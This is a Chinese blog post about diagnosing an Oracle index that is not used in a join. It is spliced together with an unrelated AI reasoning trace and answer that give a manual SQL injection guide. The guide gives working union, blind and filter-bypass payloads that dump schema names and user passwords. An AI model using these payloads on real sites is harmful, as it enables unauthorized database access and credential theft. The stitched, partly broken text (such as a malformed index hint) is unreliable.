记一次排查索引失效的过程

文章讲述了通过分析SQL查询的执行计划,发现全表扫描导致查询缓慢。在联表查询中,由于使用了函数导致索引未被利用。通过强制使用索引、检查和重建索引、调整SQL语句,最终解决了问题,将查询时间从1.6秒降低到0.14秒。

原sql:

select * from (
select a.*, ROWNUM rn from (
select ez.*,pr.WHIR_DEALING_USERS,pr.WHIR_STATUS
from WHIR$T3589 ez
inner join ORG_EMPLOYEE oe on ez.WHIR$T3589_OWNER = oe.EMP_ID
order by  ez.WHIR$T3589_ID desc
) a where ROWNUM <= #{pageSize}
) b where rn >= #{pageNo}

执行时间0.05秒

后联表查询,添加语句

left join EZ_FLOW_HI_PROCINST pr on ez.WHIR$T3589_ID = pr.BUSINESS_KEY_

全sql为:

select * from (
        select a.*, ROWNUM rn from (
        select ez.*,pr.WHIR_DEALING_USERS,pr.WHIR_STATUS
        from WHIR$T3589 ez
        inner join ORG_EMPLOYEE oe on ez.WHIR$T3589_OWNER = oe.EMP_ID
        inner join EZ_FLOW_HI_PROCINST pr  on TO_CHAR(ez.WHIR$T3589_ID)  = pr.BUSINESS_KEY_
        order by  ez.WHIR$T3589_ID desc
        ) a where ROWNUM <= 10
        ) b where rn >= 1

执行时间1.6秒

排查过程:

首先使用explain plan for

EXPLAIN PLAN FOR
select * from (
        select a.*, ROWNUM rn from (
        select ez.*,pr.WHIR_DEALING_USERS,pr.WHIR_STATUS
        from WHIR$T3589 ez
        inner join ORG_EMPLOYEE oe on ez.WHIR$T3589_OWNER = oe.EMP_ID
        inner join EZ_FLOW_HI_PROCINST pr on TO_CHAR(ez.WHIR$T3589_ID) = pr.BUSINESS_KEY_
        order by  ez.WHIR$T3589_ID desc
        ) a where ROWNUM <= 10
        ) b where rn >= 1;
                
                SELECT * FROM TABLE(DBMS_XPLAN.DISPLAY());

结果如下图:分析出慢的原因为新联的表是一张60万数据的表,并且查询时没走索引,而是全表查询

首先,既然没用索引,我选择强制使用索引

由于强制使用索引需要表名和索引名,我先查询索引名

SELECT i.index_name, i.index_type,i.status,i.last_analyzed, leaf_blocks, distinct_keys, num_rows, c.column_name, c.column_position
FROM user_ind_columns c
JOIN user_indexes i ON c.index_name = i.index_name
WHERE c.table_name = 'EZ_FLOW_HI_PROCINST';

强制使用索引语法:/*+ index(表名 索引名)*/

 /*= index(EZ_FLOW_HI_PROCINST ACT_IDX_HI_PRO_I_BUSKEY) */

 可以看到依然没用用索引,还是全表扫描

我怀疑索引失效了,查询失效索引,想着如果索引失效就重建索引或者重新编译索引

  • 重新编译索引:在Oracle数据库中,可以使用ALTER INDEX...REBUILD语句来重建索引。这个操作会将索引中的所有数据都重新组织,以便提高查询性能。例如,可以使用以下语句重建名为index_name的索引:

    ALTER INDEX index_name REBUILD;

查询失效索引语句:

SELECT i.index_name, i.index_type,i.status,i.last_analyzed, leaf_blocks, distinct_keys, num_rows, c.column_name, c.column_position
FROM user_ind_columns c
JOIN user_indexes i ON c.index_name = i.index_name
WHERE c.table_name = 'EZ_FLOW_HI_PROCINST';

status:状态为“INVALID”,则该索引已失效。状态为“VALID”,则该索引未失效。

现在发现索引未失效

怀疑是因为索引碎片导致索引失效,索引碎片:如果索引碎片严重,可能导致查询性能下降或者索引无法使用。

 

如果leaf_blocks的值很大,而distinct_keys和num_rows的值很小,可能存在索引碎片。

但是根据查询结果并没有索引碎片

怀疑是sql语句使用不当导致索引失效,检查sql:

在索引列上执行函数或计算操作的查询语句。例如:

sql

  • SELECT * FROM mytable WHERE UPPER(name) = 'JIM'; 
    

    如果 name 列有一个索引,那么上述查询将导致该索引失效。

  • 在索引列上使用 LIKE 操作符的查询语句,如果查询的字符串以通配符开头,则索引也可能失效。例如:

    sql

  • SELECT * FROM mytable WHERE name LIKE '%Jim';

    如果 name 列有一个索引,那么上述查询也将导致该索引失效。

  • 使用 OR 操作符的查询语句,如果其中一个操作不在索引列上,则整个查询可能不使用索引。例如:

    
    

    sql

  • SELECT * FROM mytable WHERE name = 'Jim' OR age = 30; 
    

    如果 name 列有一个索引,但 age 列没有索引,则上述查询可能不使用索引。

  • 在索引列上使用不等于 (<>) 操作符的查询语句。例如:

    sql

  • SELECT * FROM mytable WHERE name <> 'Jim'; 
    

    如果 name 列有一个索引,那么上述查询可能不使用索引。

  • 在索引列上使用 NOT INNOT EXISTS 子查询的查询语句。例如:

    SELECT * FROM mytable WHERE name NOT IN (SELECT name FROM other_table);

我检查了sql,没有以上问题,所以不是sql的原因

怀疑是字段类型的原因

在联表查询中,如果要使用索引,通常需要保证参与联表查询的字段的数据类型相同或兼容。如果参与联表查询的字段的数据类型不同,那么在查询时可能会发生数据类型转换,从而导致索引失效。

 原因找到了,使用函数对其进行转化,联表语句改为:inner join EZ_FLOW_HI_PROCINST pr on TO_CHAR(ez.WHIR$T3589_ID) = pr.BUSINESS_KEY_

注:由于sql使用函数的列不能使用索引,所以必须将使用转换函数的列设定为小表,WHIR$T3589只有300多条数据,所以使用TO_CHAR(ez.WHIR$T3589_ID)转化小表的字段

最终结果:

 

 

 走索引后,执行时间0.14秒,成功

<think>我们正在讨论的是SQL注入暴库技术,特别是针对类似`select * from news where id=`这样的查询语句进行手工暴库的方法。 根据用户提供的引用内容,我们可以总结以下关键点: - 引用[2]给出了漏洞代码示例:`$sql="SELECT * FROM users WHERE id=&#39;$id&#39; LIMIT 0,1";` - 引用[3]展示了使用联合查询(union select)来注入:`select * from news where id= -1&#39; union select 1,2,3 from admin;` - 引用[4]展示了如何利用`information_schema`获取表名:`-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=&#39;sqli&#39; limit 1` - 引用[5]提到了注释符号的使用:`-- -`、`#`等。 手工暴库步骤通常包括: 1. 判断注入点类型(字符型或数字型)和闭合方式(是否需要单引号、双引号等)。 2. 确定字段数(使用`order by`)。 3. 确定回显位置(使用`union select`)。 4. 利用系统表(如`information_schema`)获取数据库名、表名、列名。 5. 获取目标数据。 现在,我们针对`select * from news where id=`这种形式的查询(假设是数字型注入,因为用户给的例子中没有引号,但实际可能有引号,需要判断)来详细说明手工暴库方法。 注意:实际注入时,需要根据目标数据库类型(MySQL, MSSQL等)调整语句。这里以MySQL为例。 步骤1:判断注入点类型 - 数字型:`id=1 and 1=1` 返回正常,`id=1 and 1=2`返回异常(可能为空或错误)。 - 字符型:需要闭合引号,如`id=1&#39; and &#39;1&#39;=&#39;1`返回正常,`id=1&#39; and &#39;1&#39;=&#39;2`返回异常。 引用[2]中的例子是字符型(有单引号),但是用户要求的是`select * from news where id=`,这里没有引号,所以我们假设是数字型。但为了全面,我们将考虑两种情况。 步骤2:确定字段数(列数) - 使用`order by`子句,通过不断尝试数字来确定列数: `id=1 order by 1` 正常 `id=1 order by 2` 正常 ... 直到出现错误,例如`id=1 order by 5`错误,则列数为4。 步骤3:确定回显位置 - 使用联合查询,注意让原查询不返回数据(如id=-1),然后联合查询我们构造的字段: `id=-1 union select 1,2,3,...,n` (n为步骤2得到的列数) 观察页面回显,哪些位置显示了数字(如2,3),这些位置可以用来显示我们想要的信息。 步骤4:获取数据库名 - 假设回显位置为2和3,则构造: `id=-1 union select 1, database(), 3` 这样在回显位置2就会显示当前数据库名。 步骤5:获取表名 - 使用`information_schema.tables`表: `id=-1 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database()` 这样会显示当前数据库的所有表名,用逗号连接。 步骤6:获取列名 - 假设我们得到表名为`users`,则获取该表的列名: `id=-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_name=&#39;users&#39; and table_schema=database()` 步骤7:获取数据 - 假设`users`表有列`username, password`,则: `id=-1 union select 1, group_concat(username, &#39;:&#39;, password), 3 from users` 但是,以上步骤假设注入点是数字型,且没有引号。如果实际是字符型,则需要闭合引号并注释掉后续语句。 例如,如果实际查询语句是:`select * from news where id=&#39;$id&#39;`,那么注入语句需要变成: `id=-1&#39; union select 1,2,3 -- -` 注意:`-- -`是注释掉后续语句(包括原查询中的`LIMIT 0,1`等,如引用[2]中的例子)。 另外,引用[3]中提到了使用联合查询时,让原查询不返回数据的方法(id=-1),这样联合查询的结果就会显示出来。 引用[4]给出了一个具体的例子:获取当前数据库(名为&#39;sqli&#39;)的所有表名,使用了`group_concat(table_name)`和`limit 1`(这里limit 1是为了只返回一行,因为联合查询要求列数相等,且可能有多行,用group_concat将多行合并为一行)。 下面我们按照步骤详细说明。 考虑到用户要求针对`select * from news where id=`进行手工暴库,我们分为两种情况:数字型和字符型。 情况1:数字型注入(无引号) - 步骤1:判断注入类型(数字型) 输入:`id=1 and 1=1` 返回正常 输入:`id=1 and 1=2` 返回异常(无结果或错误) - 步骤2:确定字段数(假设为3) `id=1 order by 4` 返回错误,`id=1 order by 3`正常,则列数为3。 - 步骤3:确定回显位置 `id=-1 union select 1,2,3` 观察页面,假设2和3位置有回显。 - 步骤4:获取数据库名 `id=-1 union select 1, database(), 3` - 步骤5:获取表名 `id=-1 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema=database()` - 步骤6:获取列名(假设目标表为users) `id=-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_name=&#39;users&#39; and table_schema=database()` - 步骤7:获取数据 `id=-1 union select 1, group_concat(username, 0x3a, password), 3 from users` 情况2:字符型注入(有单引号) - 步骤1:判断注入类型(字符型) `id=1&#39; and &#39;1&#39;=&#39;1` 返回正常 `id=1&#39; and &#39;1&#39;=&#39;2` 返回异常 - 步骤2:确定字段数(同样假设为3) `id=1&#39; order by 4 -- -` 错误,`id=1&#39; order by 3 -- -`正常 - 步骤3:确定回显位置 `id=-1&#39; union select 1,2,3 -- -` - 后续步骤同情况1,但注意在构造语句时,末尾要加上注释符注释掉原查询的剩余部分(如`LIMIT 0,1`等)。 注意:如果原查询有其他限制(如`LIMIT 0,1`),我们通过让联合查询的第一部分(原查询)不返回数据(id=-1),然后联合查询的结果就会显示出来,并且只有一行(因为联合查询的结果集默认去重,且我们可能使用了limit,但这里我们通过group_concat将多行合并为一行)。 另外,在获取数据时,如果数据量很大,可以使用`limit`分页获取。 重要:在手工注入过程中,如果union select被过滤,可能需要使用盲注。但用户要求的是手工暴库,且引用中提到了联合查询,所以我们主要使用联合查询注入。 下面我们给出一个完整的示例(假设是字符型注入,且字段数为3): 1. 获取当前数据库名: `id=-1&#39; union select 1,database(),3 -- -` 2. 获取所有表名(假设当前数据库名为mydb): `id=-1&#39; union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=&#39;mydb&#39; -- -` 3. 获取users表的列名: `id=-1&#39; union select 1,group_concat(column_name),3 from information_schema.columns where table_name=&#39;users&#39; and table_schema=&#39;mydb&#39; -- -` 4. 获取users表的数据: `id=-1&#39; union select 1,group_concat(username,0x3a,password),3 from users -- -` 注意:如果group_concat被限制(长度限制或禁用),可以不用group_concat,而使用limit逐个获取: 例如获取表名:`id=-1&#39; union select 1,table_name,3 from information_schema.tables where table_schema=&#39;mydb&#39; limit 0,1 -- -` 然后使用`limit 1,1`获取下一个表名,以此类推。 另外,在构造语句时,要注意字段类型。如果某个位置是整数类型,那么在该位置使用字符串可能会导致错误。我们可以使用`null`代替或者转换类型。 最后,注意实际注入中可能会遇到过滤和防御,需要绕过。但用户要求的是手工暴库的基本方法,所以我们不展开绕过技巧。 根据以上内容,我们回答用户的问题。 </think>### 手工暴库方法:基于 `SELECT * FROM news WHERE id=` 的SQL注入 以下是针对该漏洞场景的逐步手工暴库方法(以MySQL为例),结合引用内容中的关键技术点: --- #### **一、注入点确认** 1. **判断注入类型**(引用[2]、[5]): - 数字型:`id=1 and 1=1`(正常) vs `id=1 and 1=2`(异常) - 字符型:`id=1&#39; and &#39;1&#39;=&#39;1`(正常) vs `id=1&#39; and &#39;1&#39;=&#39;2`(异常) - 注释符验证:`id=1&#39; -- -`(若正常则存在字符型注入)[^5] 2. **确定字段数**(引用[3]): ```sql ORDER BY N -- N递增直至报错 ?id=1&#39; ORDER BY 4 -- - -- 若报错则字段数=3 ``` --- #### **二、联合查询暴库** 1. **构造联合查询**(引用[3][4]): ```sql ?id=-1&#39; UNION SELECT 1,2,3 -- - ``` - `id=-1`:使原查询无结果 - 页面显示数字(如2,3)即为可回显位置 2. **获取数据库**: ```sql ?id=-1&#39; UNION SELECT 1,database(),3 -- - ``` 3. **暴所有表名**(引用[4]): ```sql ?id=-1&#39; UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() -- - ``` 4. **暴目标表字段**(如`users`表): ```sql ?id=-1&#39; UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name=&#39;users&#39; -- - ``` 5. **窃取敏感数据**: ```sql ?id=-1&#39; UNION SELECT 1,username,password FROM users -- - ``` --- #### **三、盲注暴库技巧**(引用[1]) 当无显位时使用布尔/时间盲注: ```sql # 猜解表名长度 ?id=1&#39; AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))=5 -- - # 逐字符猜表名(ASCII码) ?id=1&#39; AND SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=&#39;a&#39; -- - # 时间盲注验证 ?id=1&#39; AND IF(ASCII(SUBSTRING(database(),1,1))=115,SLEEP(5),0) -- - ``` --- #### **四、关键防御绕过** - **过滤绕过**: - 空白符替代:`%09`(TAB)、`%0A`(换行) - 注释混淆:`/*!SELECT*/` - 大小写变形:`InFoRmAtIoN_sChEmA` - **引号绕过**: ```sql WHERE table_name=CHAR(117,115,101,114,115) -- &#39;users&#39;的ASCII ``` > 注:实际应用需遵守法律法规,本文仅限技术研究[^2][^4]。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值